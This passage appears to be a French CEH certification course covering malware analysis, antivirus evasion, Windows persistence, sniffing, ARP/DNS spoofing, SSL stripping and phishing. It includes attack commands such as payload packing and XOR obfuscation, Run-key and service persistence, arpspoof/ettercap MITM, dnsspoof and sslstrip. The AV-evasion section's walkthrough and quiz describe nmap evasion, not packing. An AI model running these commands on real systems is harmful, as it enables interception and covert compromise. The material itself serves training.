    • VirusTotal : Plateforme multi-moteurs (60+ antivirus) utilisable via hachage (MD5/SHA1/SHA256) ; utile mais soumis à la détection par signature et au partage de l'échantillon.
    • Outils de reverse engineering : IDA Pro (désassembleur commercial), Ghidra (outil open-source de la NSA), x64dbg/OllyDbg (débogueurs).
    ### Analyse statique basique (Linux)
    file malware.exe
    strings malware.exe | head -50
    strings -n 6 malware.exe | grep -iE "http|cmd|powershell"
    
    ### Hachage pour VirusTotal
    md5sum malware.exe
    sha256sum malware.exe
    
    ### Entropie (détection de packing) avec pecheck
    pecheck -e malware.exe
    
    ### Analyse de la structure PE
    pe-tree malware.exe
    
    ### Process Monitor (Windows, graphique)
    # Procmon.exe + filtres sur RegSetValue, CreateFile, Process Create
    
    ### Réseau simulé : INetSim (Linux) pour observer l'exfiltration
    inetsim
    
    ### Désassemblage - Ghidra (mode headless)
    analyzeHeadless /home/analyst/ghidra_project malware -import malware.exe -overwrite
    Démonstration pas à pas : Déroulé : file malware.exe puis strings malware.exe | head -50 (chaînes lisibles) et strings | grep -iE "http|cmd|powershell". Puis md5sum et sha256sum pour VirusTotal. Haute entropie (pecheck -e) = packing. En dynamique autorisée : ProcMon (RegSetValue, CreateFile) et INetSim pour simuler Internet et voir le C2.
    Point clé examen CEH : Une haute entropie indique un programme packé ou chiffré et explique l'absence de strings lisibles. L'analyse statique est sûre (pas d'exécution), l'analyse dynamique nécessite une sandbox et des réseaux simulés (INetSim). VirusTotal est une détection multi-moteurs par hachage et signature.
    Pièges classiques : Piège CEH : croire que le dynamique est sans risque. Il exige sandbox isolée. Erreur : conclure sain parce que strings est vide (packing ou chiffrement).
    À vous de jouer : Que signifie une entropie élevée ?
    Voir la réponse

    Un code packé ou chiffré : les strings sont masquées, il faut unpack ou passer au dynamique en sandbox.

    🔍 Évasion des Antivirus et Reverse Engineering

    Pour passer les défenses, les auteurs de malwares modifient en permanence leur code afin que les signatures antivirus ne puissent plus les reconnaître. Les techniques reposent sur le polymorphisme, le métamorphisme, le packing et l'obfuscation. Le reverse engineering permet à l'analyste de comprendre ces mécanismes et au red team de les façonner.

    Pourquoi c'est important : Un SOC bloque les scans bruts : sans fragmentation, timing lent et leurres, votre audit autorisé est bloqué au premier IDS et le rapport reste vide.
    L'analogie qui aide : Passer un contrôle avec des valises découpées en petits sacs (fragmentation -f), en marchant très lentement (-T0) et au milieu d'un groupe de touristes (leurres -D).
    • Polymorphisme : Le malware change sa signature à chaque infection en mutant sa routine de déchiffrement, tout en gardant un noyau identique. La fonction de chiffrement varie mais le code déchiffré reste le même.
    • Métamorphisme : Le malware réécrit entièrement son propre code à chaque génération, sans garder de noyau constant. Encore plus difficile à détecter par signature, mais complexe à implémenter.
    • Packing : Le code original est compressé ou chiffré ; au lancement, une petite routine « stub » le décompresse en mémoire. Les packers comme UPX réduisent la taille et masquent le contenu ; une haute entropie le trahit.
    • Obfuscation : Transformation du code pour le rendre illisible (encodage des strings, calculs inutiles, insertion de code opaque, XOR).
    • Outils de désassemblage : IDA Pro et Ghidra pour la désassemblage et l'analyse statique ; x64dbg et OllyDbg pour le débogage dynamique avec points d'arrêt.
    ### Packer UPX - compresser un binaire
    upx backdoor.exe -o backdoor_packed.exe
    
    ### Vérifier si un fichier est packé
    file malware.exe          # indique "UPX" s'il est packé
    pecheck -e malware.exe    # entropie élevée = packing probable
    
    ### Obfuscation XOR simple (exemple pédagogique)
    python -c "data=open('payload.bin','rb').read(); open('obf.bin','wb').write(bytes(b^0xAA for b in data))"
    
    ### Désassemblage en ligne de commande (objdump)
    objdump -d -M intel malware.exe | head -80
    
    ### Ghidra - lancer l'analyse en mode console
    ghidraRun   # GUI : File > New Project, import, Analyse Auto
    
    ### x64dbg (Windows) : points d'arrêt sur les API réseau
    # bp ws2_32.send, bp wininet.HttpSendRequestA, bp kernel32.WriteFile
    Démonstration pas à pas : Déroulé : nmap -sS -f 203.0.113.50 (flag -f = découpe en fragments de 8 octets pour tromper les filtres d'en-têtes). Puis nmap -sS -T0 (timing paranoïde, très lent, discret). Puis nmap -sS -D 10.0.0.1,10.0.0.2,ME (leurres, ME = votre vraie IP incluse). Puis --source-port 53 pour profiter des règles DNS permissives.
    Point clé examen CEH : La différence clé : le polymorphisme change la signature du code de déchiffrement à chaque exécution ; le métamorphisme réécrit tout le code, même l'ensemble exécuté. UPX est le packer le plus connu. Une entropie élevée signale un packing. La détection par signature d'antivirus est inefficace contre ces techniques, d'où l'analyse comportementale.
    Pièges classiques : Piège CEH : oublier ME dans -D (votre vraie IP doit figurer parmi les leurres, sinon vous ne recevez pas les réponses). Erreur : croire que -f garantit l'évasion contre un IDS qui réassemble.
    À vous de jouer : Pourquoi ajouter ME dans -D ?
    Voir la réponse

    Parce que Nmap doit recevoir les réponses : ME place votre vraie adresse parmi les leurres, les autres IP masquent l'origine réelle.

    🔍 Persistance des Malwares

    Pour survivre à un redémarrage, un malware doit s'installer dans un mécanisme d'auto-démarrage du système d'exploitation. Windows offre plusieurs emplacements de persistance : les clés du registre Run, les tâches planifiées, WMI (Windows Management Instrumentation) et les services Windows. Chacun est un point de résilience que l'analyste forensique doit connaître.

    Pourquoi c'est important : Un malware qui ne survit pas au reboot ne menace pas durablement : le SOC chasse donc Run keys, tâches planifiées, services et WMI pour éradiquer vraiment.
    L'analogie qui aide : Cacher un double des clés chez le gardien (Run), programmer le ménage automatique (schtasks), se faire embaucher comme gardien (service) ou glisser une consigne invisible au standard (WMI).
    • Run keys (registre) : Les valeurs Run exécutées à la connexion de l'utilisateur. Emplacements : HKLM\Software\Microsoft\Windows\CurrentVersion\Run et HKCU équivalent. Simple, mais très surveillé.
    • Scheduled Tasks : schtasks crée des tâches planifiées exécutées à la connexion, à intervalle, ou au démarrage. Plus discrètes qu'une Run key, s'exécutent même en tant que SYSTEM.
    • WMI Event Subscription : Les abonnements d'événements WMI (__EventFilter, __EventConsumer, __FilterToConsumerBinding) déclenchent une exécution sur un événement (démarrage, connexion). Très difficiles à détecter car ils ne créent aucun fichier visible au démarrage.
    • Services : Un service Windows (sc create) paramétré en démarrage automatique exécute le binaire à chaque boot, souvent avec les droits SYSTEM.
    ### Persistance via Run key (registre)
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Users\victim\AppData\Local\payload.exe"
    
    ### Persistance via tâche planifiée
    schtasks /create /tn "Updater" /tr "C:\temp\payload.exe" /sc onlogon /ru SYSTEM /rl HIGHEST
    schtasks /query /tn "Updater"
    
    ### Persistance via service Windows
    sc create Backdoor binPath= "C:\temp\payload.exe" start= auto
    sc start Backdoor
    
    ### Audit des Run keys (défensif)
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
    Démonstration pas à pas : Déroulé : reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /d payload.exe (persistance registre). Puis schtasks /create /tn Updater /tr payload.exe /sc onlogon (tâche à la connexion). Puis sc create Backdoor binPath= payload.exe start= auto (service). Auditez avec reg query sur Run et RunOnce.
    Point clé examen CEH : Les emplacements de persistance à connaître : Run (registre), Schtasks (tâches planifiées), Services Windows et WMI Event Subscription. WMI est réputé « fileless » car l'abonnement persiste dans la base WMI, pas sous forme de fichier. Vérifiez toujours ces points dans une analyse forensique.
    Pièges classiques : Piège CEH : oublier WMI Event Subscription, persistance fileless sans fichier visible. Erreur : ne vérifier que HKLM et oublier HKCU.
    À vous de jouer : Quelle persistance est fileless ?
    Voir la réponse

    L'abonnement WMI (__EventFilter plus __EventConsumer) : il vit dans la base WMI, pas comme fichier au démarrage.

  • 07

    Sniffing Réseau

    Analyse de paquets, ARP poisoning, MITM, capture de credentials

    ▼
    • ✓ Fonctionnement du sniffing : promiscuous mode, hub vs switch Facile
    • ✓ Wireshark : capture, filtres, analyse de protocoles Moyen
    • ✓ ARP Poisoning : Ettercap, arpspoof, MITM Moyen
    • ✓ DNS Spoofing et cache poisoning Difficile
    • ✓ Capture de session : cookies, tokens, HTTP basic auth Difficile
    • ✓ SSL Stripping et attaques TLS downgrade Difficile
    • ✓ tcpdump et tshark : sniffing en ligne de commande Moyen
    • ✓ Défenses : port security, Dynamic ARP Inspection, 802.1X Moyen

    🔍 Fonctionnement du Sniffing : Mode Promiscuous

    Le sniffing consiste à capturer et analyser les paquets qui transitent sur le réseau pour en extraire des informations : credentials, cookies, sessions, contenu applicatif. La capacité à « écouter » dépend de l'infrastructure. Sur un hub, tous les paquets sont diffusés à tous les ports : il suffit d'un mode promiscuous. Sur un switch, les trames sont dirigées uniquement vers le port de destination, d'où la nécessité de techniques comme l'ARP poisoning pour écouter.

    Pourquoi c'est important : Sur un hub tout le trafic est visible, sur un switch il faut une attaque : comprendre cette différence évite de lancer Wireshark pour rien en audit et de rater un MITM.
    L'analogie qui aide : Écouter dans une pièce avec porte ouverte (hub, tout s'entend) ou avec des box insonorisées (switch, il faut détourner le couloir par ARP poisoning).
    • Mode promiscuous : La carte réseau capture toutes les trames qu'elle reçoit, même celles qui ne lui sont pas destinées, au lieu de les filtrer par adresse MAC comme en mode normal.
    • Hub : Équipement de couche 1 qui diffuse chaque trame à tous les ports. Le sniffing y est trivial et total.
    • Switch : Équipement de couche 2 qui route les trames uniquement vers le port de destination grâce à sa table CAM/MAC. Le sniffing y est impossible sans attaque préalable (ARP poisoning, port mirroring mal configuré, MAC flooding).
    • Sniffing passif vs actif : Passif = simple écoute du trafic reçu ; actif = modifier le flux (ARP poisoning, MAC flooding) pour rediriger le trafic vers l'attaquant.
    ### Activer le mode promiscuous (Linux, interface eth0)
    sudo ip link set eth0 promisc on
    # ou
    sudo ifconfig eth0 promisc
    
    ### Vérifier le mode promiscuous
    sudo ip link show eth0 | grep PROMISC
    
    ### Activer le mode promiscuous (Windows)
    # via le gestionnaire réseau ou la boîte à outils Npcap lors de l'installation
    
    ### Détecter une interface en mode promiscuous (approche défensive)
    sudo nmap --script=sniffer-detect <cible>
    Démonstration pas à pas : Déroulé : sudo ip link set eth0 promisc on (active la capture totale). Vérifiez avec ip link show eth0 | grep PROMISC. Sur hub : capture immédiate. Sur switch : sans ARP poisoning, vous ne voyez que votre trafic. Défensif : nmap --script=sniffer-detect pour repérer les promiscuous.
    Point clé examen CEH : Le mode promiscuous permet de capturer des paquets non adressés à la machine. Sur un hub le sniffing est total ; sur un switch il n'est pas possible sans attaque préalable (ARP poisoning ou MAC flooding). Le sniffing passif ne modifie pas le trafic ; le sniffing actif le redirige.
    Pièges classiques : Piège CEH : dire que le switch diffuse comme le hub. Le switch commute vers le port destinataire via table CAM. Erreur : confondre passif (écoute) et actif (redirige).
    À vous de jouer : Pourquoi ne voit-on rien sur un switch sain ?
    Voir la réponse

    Parce qu'il n'envoie chaque trame que vers le port destinataire : il faut ARP poisoning, MAC flooding ou port mirroring autorisé.

    🔍 Wireshark : Capture et Filtres

    Wireshark est l'analyseur de paquets de référence. Il capture en temps réel sur l'interface sélectionnée, puis permet de filtrer l'affichage, de suivre des flux TCP et de décoder les protocoles applicatifs. Les filtres d'affichage (display filters) sont la compétence clé pour naviguer efficacement dans des captures volumineuses.

    Pourquoi c'est important : Devant 100 000 paquets, sans display filter on ne trouve ni le mot de passe clair ni le C2 : Follow TCP Stream reconstruit la preuve pour le rapport SOC.
    L'analogie qui aide : Un filet de pêche à mailles réglables : le filtre de capture choisit à l'entrée (tcp port 80), le filtre d'affichage trie après (http, ip.addr==...).
    • Capture : Sélection d'interface, puis capture avec possibilité de filtrer à la source (capture filter, syntaxe classique comme tcp port 80).
    • Filtres d'affichage : S'appliquent après la capture. Exemples : tcp.port==80, http, ip.addr==192.168.1.100, tcp.flags.syn==1. Ils affichent ou masquent des paquets sans les supprimer.
    • Suivi de flux (Follow TCP Stream) : Reconstruit le contenu applicatif d'une connexion TCP ; indispensable pour lire les échanges HTTP, FTP ou les payloads.
    • Analyse protocolaire : Décodage des en-têtes (Ethernet, IP, TCP) et de la charge applicative (HTTP, DNS, SMTP). Permet de repérer et d'exporter les objets (images, fichiers).
    ### Filtres d'affichage Wireshark courants
    tcp.port == 80            # tout trafic HTTP
    http                       # paquets HTTP uniquement
    ip.addr == 192.168.1.100  # trafic depuis/vers cette IP
    http.request               # requêtes HTTP
    http.response              # réponses HTTP
    tcp.flags.syn == 1 && tcp.flags.ack == 0   # SYN de la poignée de main
    dns.qry.name contains "admin"              # requêtes DNS
    ftp.request.command == "USER"              # commandes FTP
    http contains "password"                   # paquets HTTP contenant "password"
    
    ### Capturer sur une interface avec tshark (CLI Wireshark)
    tshark -i eth0 -f "tcp port 80" -w capture.pcap
    tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
    Démonstration pas à pas : Déroulé : capturez avec tshark -i eth0 -f "tcp port 80" -w capture.pcap (flag -f = filtre de capture BPF, -w = écrit). Puis relisez avec tshark -r capture.pcap -Y "http.request" (flag -Y = filtre d'affichage). Dans Wireshark : tcp.port==80, http contains "password", puis clic droit Follow TCP Stream et Export Objects HTTP.
    Point clé examen CEH : Les filtres d'affichage (ex : tcp.port==80, http) s'appliquent après capture. Le « Follow TCP Stream » reconstruit le flux HTTP. Ne confondez pas filtre de capture (avant, syntaxe simple) et filtre d'affichage (après, syntaxe Wireshark). Exportez les objets via File > Export Objects > HTTP pour récupérer les fichiers transférés.
    Pièges classiques : Piège CEH : inverser filtre de capture (avant, syntaxe BPF) et filtre d'affichage (après, syntaxe Wireshark). Erreur : tcp.port==80 écrit avec un seul égal.
    À vous de jouer : Quel filtre isole les SYN initiaux ?
    Voir la réponse

    tcp.flags.syn==1 et tcp.flags.ack==0 : ce sont les ouvertures de handshake, typiques d'un scan.

    🔍 ARP Spoofing/Poisoning et Attaques MITM

    Le protocole ARP associe une adresse IP à une adresse MAC dans le segment local. L'ARP poisoning consiste à envoyer des réponses ARP falsifiées pour associer l'adresse IP d'une victime à l'adresse MAC de l'attaquant. Une fois l'attaquant entre la victime et sa passerelle, tout le trafic passe par lui : c'est une attaque de l'homme du milieu (MITM), qui permet de capturer, modifier ou rediriger les données.

    Pourquoi c'est important : Sans ARP poisoning, pas de MITM en switched : c'est la clé qui place l'auditeur entre victime et passerelle pour observer les fuites en clair autorisées au test.
    L'analogie qui aide : Changer les étiquettes des casiers (cache ARP) : la lettre pour la passerelle arrive chez vous, vous la recopiez puis la retransmettez (forwarding).
    • Principe : L'attaquant envoie des réponses ARP non sollicitées affirmant « je suis la passerelle » (et « je suis la victime »), empoisonnant les caches ARP des deux parties. Le trafic est redirigé vers l'attaquant qui fait ensuite du forwarding IP.
    • Ettercap : Suite d'outils de MITM avec interface graphique : on sélectionne les cibles (victime et passerelle) et on active l'ARP poisoning. Il intègre aussi des plugins (capture de mots de passe, DNS spoofing).
    • arpspoof : Outil léger de la suite dsniff réalisant le même objectif en ligne de commande ; à combiner avec l'IP forwarding.
    ### IP forwarding (Linux) pour relayer le trafic
    echo 1 > /proc/sys/net/ipv4/ip_forward
    # ou
    sysctl -w net.ipv4.ip_forward=1
    
    ### ARP Spoofing avec arpspoof (dsniff)
    arpspoof -i eth0 -t 192.168.1.10 192.168.1.1   # passerelle vers victime
    arpspoof -i eth0 -t 192.168.1.1 192.168.1.10   # victime vers passerelle
    
    ### ARP Spoofing avec Ettercap (GUI)
    ettercap -G
    # Hôtes > Scan pour hosts ; cible 1 = victime, cible 2 = passerelle
    # Mitm > ARP poisoning > cocher "Sniff remote connections"
    
    ### Ettercap en CLI
    ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1//
    
    ### Vérifier le cache ARP empoisonné
    arp -a
    Démonstration pas à pas : Déroulé : sysctl -w net.ipv4.ip_forward=1 (active le relais, sinon coupure réseau). Puis arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 (empoisonne la victime) et l'inverse vers la passerelle. Variante Ettercap : ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1//. Vérifiez avec arp -a.
    Point clé examen CEH : L'ARP poisoning s'applique seulement au sein d'un même segment (il ne traverse pas les routeurs). N'oubliez pas d'activer l'IP forwarding, sinon la victime perd Internet. Ettercap ou arpspoof réalisent le MITM ; le Dynamic ARP Inspection (DAI) sur commutateur est la contre-mesure clé.
    Pièges classiques : Piège CEH : croire que l'ARP traverse les routeurs. Il reste au segment local. Erreur : oublier l'IP forwarding, ce qui fait un DoS au lieu d'un MITM.
    À vous de jouer : Pourquoi activer l'IP forwarding ?
    Voir la réponse

    Pour relayer le trafic intercepté vers sa vraie destination : sans lui, la victime perd Internet et l'attaque est repérée.

    🔍 DNS Spoofing, Capture de Session et SSL Stripping

    Une fois le MITM établi (ARP poisoning), l'attaquant peut amplifier la portée de l'attaque : falsifier les réponses DNS pour rediriger la victime vers de faux sites, capturer les credentials HTTP Basic, les cookies et tokens de session, ou dégrader une connexion HTTPS en HTTP. Ces techniques permettent le vol de session (session hijacking) et d'identifiants.

    Pourquoi c'est important : Une fois MITM, rediriger le DNS ou dégrader HTTPS en HTTP permet de rejouer un cookie volé : c'est la démonstration d'impact qui fait patcher HSTS et HttpOnly.
    L'analogie qui aide : Détourner les panneaux indicateurs (DNS spoof) puis forcer les voitures blindées à rouler vitres ouvertes (SSL stripping) pour photographier les passagers (cookies).
    • DNS Spoofing : L'attaquant injecte de fausses réponses DNS : la victime qui demande l'IP de banque.com reçoit l'IP d'un faux site. Sur un MITM ARP, on peut utiliser le plugin dns_spoof d'Ettercap ou l'outil dnsspoof.
    • Cache poisoning : On empoisonne le cache d'un serveur DNS ou d'un client avec des réponses falsifiées, de sorte que les requêtes futures soient redirigées sans repasser par le MITM.
    • HTTP Basic Auth : L'en-tête Authorization contient le couple login:mot de passe encodé en Base64. Il circule en clair sur le réseau et se décode immédiatement.
    • Capture de session : Vol des cookies de session (Session ID) transmis en clair ; l'attaquant les réutilise (session replay) pour s'authentifier comme la victime (session hijacking).
    • SSL Stripping : Interception du HTTPS : l'attaquant convertit le HTTP en HTTPS côté serveur et redirige la victime vers du HTTP en clair côté client. Outils : sslstrip, mitmproxy, bettercap.
    • TLS downgrade : Forcer le client et le serveur à utiliser une version de TLS ou des suites de chiffrement obsolètes et vulnérables (ex : POODLE sur SSLv3).
    ### DNS spoofing (dnsspoof - suite dsniff)
    echo "192.168.1.100 *.bank.com" > host.txt
    dnsspoof -i eth0 -f host.txt
    
    ### DNS spoofing via Ettercap (plugin)
    ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1// -P dns_spoof
    
    ### sslstrip - rétrograder HTTPS vers HTTP (MITM)
    sslstrip -l 8080 -w sslstrip.log
    # puis rediriger le port 80 vers 8080 (iptables)
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    
    ### mitmproxy - proxy MITM interactif
    mitmproxy --mode transparent -p 8080
    
    ### Décoder les credentials en Base64 capturés
    echo "admin:password" | base64   # YWRtaW46cGFzc3dvcmQ=
    echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
    
    ### Repérer un Cookie de session dans une capture Wireshark
    http.request.method == "POST" && http contains "Cookie"
    Démonstration pas à pas : Déroulé : echo "192.168.1.100 *.bank.com" > host.txt puis dnsspoof -i eth0 -f host.txt (répond avec votre IP). Pour le downgrade : sslstrip -l 8080 -w sslstrip.log plus iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080. Décodez le Basic avec echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d et repérez Cookie via http contains "Cookie".
    Point clé examen CEH : L'en-tête HTTP Basic est encodé en Base64, pas chiffré : il est décodable instantanément. La capture de cookies permet le session replay ou hijacking. Le SSL Stripping (sslstrip) trompe l'utilisateur en le faisant passer en HTTP ; la protection est le HSTS. Le DNS spoofing redirige vers de faux sites via de fausses réponses DNS.
    Pièges classiques : Piège CEH : dire que Base64 chiffre. C'est un encodage réversible instantané. Erreur : croire que SSL stripping casse TLS (il l'évite en forçant HTTP).
    À vous de jouer : Quelle protection rend SSL stripping inefficace ?
    Voir la réponse

    HSTS (Strict-Transport-Security) : le navigateur refuse le HTTP et impose HTTPS, complété par Secure et HttpOnly sur les cookies.

    🔍 tcpdump / tshark et Contre-mesures Sniffing

    Pour le sniffing en environnement de ligne de commande (serveurs, accès à distance, scripts), tcpdump (Linux) et tshark (CLI de Wireshark) sont incontournables. Côté défensif, plusieurs mécanismes de couche 2 permettent de neutraliser l'ARP poisoning en rendant les associations IP-MAC fiables et contrôlées.

    Pourquoi c'est important : Sur un serveur sans interface graphique, tcpdump et tshark restent les seuls capteurs : côté défense, DAI bloque l'ARP poisoning à la source sur le commutateur.
    L'analogie qui aide : Des jumelles légères de terrain (tcpdump, BPF simple) contre un laboratoire d'optique (tshark, décodage complet), et un vigile qui vérifie chaque badge (DAI).
    • tcpdump : Capteur réseau léger en CLI. Filtres BPF (Berkeley Packet Filter) comme host, port, tcp. -w écrit dans un fichier pcap, -r le relit.
    • tshark : Version CLI de Wireshark : mêmes filtres d'affichage, décodage, export. Idéal pour automatiser l'analyse.
    • Port security : Sur commutateur (Cisco) : limite le nombre d'adresses MAC autorisées par port. Empêche le MAC flooding, pas directement l'ARP poisoning.
    • DHCP snooping : Filtre les messages DHCP non fiables, ne garde que les réponses provenant de ports fiables. Sert de prérequis au DAI.
    • Dynamic ARP Inspection (DAI) : Valide chaque réponse ARP par rapport aux liaisons IP-MAC apprises par le DHCP snooping. Bloque directement l'ARP poisoning.
    • 802.1X : Authentification par port (EAP) : seule une machine authentifiée peut accéder au réseau. Empêche l'insertion d'hôtes non autorisés.
    ### tcpdump - capturer et filtrer
    sudo tcpdump -i eth0 -nn -w capture.pcap    # écrire dans un fichier
    sudo tcpdump -r capture.pcap -nn            # relire le fichier
    sudo tcpdump -i eth0 tcp port 80            # trafic HTTP
    sudo tcpdump -i eth0 host 192.168.1.100 -nn
    sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'
    
    ### tshark - extraire des données depuis une capture
    tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e ip.src
    
    ### Cisco - contre-mesures de couche 2
    # Port security
    switchport port-security
    switchport port-security maximum 2
    switchport port-security violation shutdown
    
    # DHCP Snooping
    ip dhcp snooping vlan 10
    ip dhcp snooping
    
    # Dynamic ARP Inspection (DAI)
    ip arp inspection vlan 10
    
    # 802.1X
    dot1x system-auth-control
    interface GigabitEthernet0/1
    dot1x port-control auto
    Démonstration pas à pas : Déroulé : sudo tcpdump -i eth0 -nn -w capture.pcap (flag -w = écriture pcap, -nn = sans résolution). Puis tcpdump -r capture.pcap et filtre tcp port 80. Côté Cisco autorisé : ip dhcp snooping vlan 10 puis ip arp inspection vlan 10 (DAI valide chaque ARP via le snooping). Port security limite les MAC, 802.1X authentifie le port.
    Point clé examen CEH : tcpdump utilise des filtres BPF (ex : host, port, tcp port 80) ; -w sauvegarde en pcap. La contre-mesure la plus efficace contre l'ARP poisoning est le Dynamic ARP Inspection (DAI), qui repose sur le DHCP snooping. Le port security bloque le MAC flooding ; le 802.1X authentifie par port.
    Pièges classiques : Piège CEH : dire que port security bloque l'ARP poisoning. Il bloque le MAC flooding ; le DAI bloque l'ARP. Erreur : filtre BPF écrit en syntaxe Wireshark.
    À vous de jouer : Quelle contre-mesure bloque directement l'ARP poisoning ?
    Voir la réponse

    Dynamic ARP Inspection adossé au DHCP snooping : chaque réponse ARP est validée contre la liaison IP-MAC apprise.

  • 08

    Ingénierie Sociale

    Phishing, pretexting, baiting, vishing — manipulation humaine

    ▼
    • ✓ Principes de l'ingénierie sociale : confiance, urgence, autorité Facile
    • ✓ Phishing : emails, sites clonés, spear-phishing, whaling Moyen
    • ✓ Social Engineering Toolkit (SET) : clonage de site web Moyen
    • ✓ Pretexting et vishing : simulation d'appels, scenarios Moyen
    • ✓ Baiting, tailgating, quid pro quo — physical social engineering Facile
    • ✓ GoPhish et outils de campagnes phishing Moyen
    • ✓ Contre-mesures : formation, MFA, awareness programs Facile
    • ✓ OSINT social : reconnaissance sur les réseaux sociaux Moyen

    🔍 Principes Psychologiques de l'Ingénierie Sociale

    L'ingénierie sociale attaque le maillon humain, considéré comme le plus faible de la chaîne de sécurité. Plutôt que d'exploiter une vulnérabilité technique, l'attaquant manipule les émotions et les biais cognitifs pour obtenir des informations, des accès ou des actions. La réussite repose sur l'activation de leviers psychologiques bien identifiés que le CEH répertorie précisément.

    Pourquoi c'est important : La plupart des intrusions commencent par un humain trompé, pas par une CVE : former aux leviers urgence et autorité réduit plus d'incidents que bien des patchs.
    L'analogie qui aide : Un pickpocket qui vous bouscule (urgence) pendant que son complice se présente comme agent (autorité) : votre attention est détournée au bon moment.
    • Confiance : L'attaquant se présente comme une autorité légitime (support IT, banque, collègue) pour supprimer la méfiance de la victime.
    • Urgence : « Votre compte va être bloqué », « réponse requise sous 1 heure » — l'urgence pousse à l'action rapide sans vérification.
    • Autorité : Usurpation d'une figure d'autorité (directeur, police, régulateur) ; la victime cède par peur ou par respect hiérarchique.
    • Rareté : « Offre limitée », « dernière place disponible » — la peur de manquer incite à agir sans réfléchir.
    • Familiarité : Créer un lien de familiarité (références communes, mention de noms collectés en OSINT) pour désamorcer la méfiance.
    ### Modèle de l'ingénierie sociale (étapes)
    # 1. Collecte : reconnaissance (OSINT) sur la cible
    # 2. Développement : construire le prétexte / le scénario
    # 3. Manipulation : contact avec la cible (email, appel, physique)
    # 4. Exfiltration : obtenir l'information ou l'action désirée
    
    ### Signaux d'alerte d'une tentative (à enseigner)
    # - Urgence inhabituelle
    # - Demande de credentials / MFA / transfert
    # - Adresse d'expéditeur légèrement altérée (banque-support.com)
    # - Liens raccourcis ou domaines déviants
    # - Pièce jointe inattendue
    Démonstration pas à pas : Déroulé pédagogique en 4 temps : collecte OSINT, construction du prétexte, contact (mail ou appel), exfiltration demandée. Signaux à enseigner : urgence inhabituelle, demande de MFA, domaine légèrement altéré, lien raccourci, pièce jointe inattendue.
    Point clé examen CEH : Les cinq leviers psychologiques à mémoriser : confiance, urgence, autorité, rareté, familiarité. L'ingénierie sociale exploite le « chaînon humain », souvent plus faible que la technique. La formation et la sensibilisation (awareness) restent la première contre-mesure.
    Pièges classiques : Piège CEH : citer seulement urgence et autorité. Retenez confiance, urgence, autorité, rareté, familiarité. Erreur : croire que la technique suffit sans awareness.
    À vous de jouer : Quel levier exploite "réponse sous une heure sinon blocage" ?
    Voir la réponse

    L'urgence combinée à l'autorité : elle pousse à agir sans vérifier par un second canal.

    🔍 Phishing et Variantes

    Le phishing est la forme la plus répandue d'ingénierie sociale : l'attaquant envoie un message frauduleux (email, SMS/smishing, messagerie) imitant une entité de confiance pour piéger la victime. Le phish se décline en plusieurs cibles et niveaux de sophistication, du phishing de masse au spear-phishing très ciblé. Comprendre ces variantes est essentiel pour le CEH.

    Pourquoi c'est important : Distinguer spear, whaling et clone conditionne la sensibilisation : on ne protège pas un comptable ciblé comme une campagne de masse.
    L'analogie qui aide : Pêche au filet (phishing de masse), au harpon sur un poisson nommé (spear), à la baleine (whaling, dirigeant), avec un appât déjà goûté (clone) ou en détournant la rivière (pharming DNS).
    • Spear-phishing : Ciblage précis d'une personne ou d'un petit groupe à partir d'informations personnelles collectées (nom, poste, relations), ce qui rend le message crédible.
    • Whaling : Spear-phishing orienté vers les « grosses têtes » : dirigeants, cadres, comptables (fraude au président). Cible les personnes ayant accès aux finances ou aux décisions sensibles.
    • Clone phishing : On reprend un email légitime déjà reçu par la victime, on le modifie légèrement (lien ou pièce jointe infectés) puis on le renvoie comme s'il s'agissait de la version « mise à jour » du précédent.
    • Smishing/Vishing : Variantes par SMS et par voix (voir section vishing).
    • Pharming : Variante technique où l'on redirige en masse des utilisateurs vers de faux sites en empoisonnant le DNS ou le fichier hosts, sans message individuel.
    • Sites clonés : Répliques quasi identiques d'un site légitime hébergées sur un domaine contrôlé par l'attaquant pour voler credentials ou diffuser des malwares.
    ### Analyse technique d'un email de phishing
    # Examiner les en-têtes complets (X-Originating-IP, Received)
    # Vérifier SPF / DKIM / DMARC
    dig +short TXT banque.com          # enregistrement SPF
    dig +short TXT _dmarc.banque.com   # politique DMARC
    
    ### Vérifier la destination réelle d'un lien sans cliquer
    curl -sI "http://lien-court" | grep -i "location"
    
    ### Rechercher des informations pour du spear-phishing (OSINT)
    theHarvester -d exmple.com -b google
    theHarvester -d exmple.com -b linkedin
    Démonstration pas à pas : Déroulé défensif : examinez les Received et X-Originating-IP, vérifiez SPF avec dig TXT et DMARC via _dmarc. Sans cliquer : curl -sI lien-court | grep -i location (révèle la redirection). Pour le spear autorisé : theHarvester -d domaine -b linkedin pour personnaliser.
    Point clé examen CEH : Spear-phishing = ciblé sur un individu ; whaling = ciblé sur les dirigeants ; clone phishing = réédition modifiée d'un email légitime. Le pharming redirige en masse sans message individuel. La vérification SPF/DKIM/DMARC et l'analyse des en-têtes permettent de détecter les emails usurpés.
    Pièges classiques : Piège CEH : confondre whaling (dirigeants) et spear (individu ciblé). Erreur : dire que le pharming envoie un mail (il redirige en masse via DNS ou hosts).
    À vous de jouer : Clone ou spear : quelle différence ?
    Voir la réponse

    Le spear part d'OSINT pour une cible précise ; le clone reprend un mail légitime déjà reçu en modifiant lien ou pièce jointe.

    🔍 Social Engineering Toolkit (SET) : Clonage de Site Web

    Le Social Engineering Toolkit (SET), développé par TrustedSec, est l'outil de référence pour simuler des attaques d'ingénierie sociale : phishing email, clonage de site web, vecteurs USB, etc. Le clonage d'un site permet de créer une réplique d'une page de connexion légitime qui capture les identifiants saisis par la victime. SET est utilisé à des fins pédagogiques et de test autorisé.

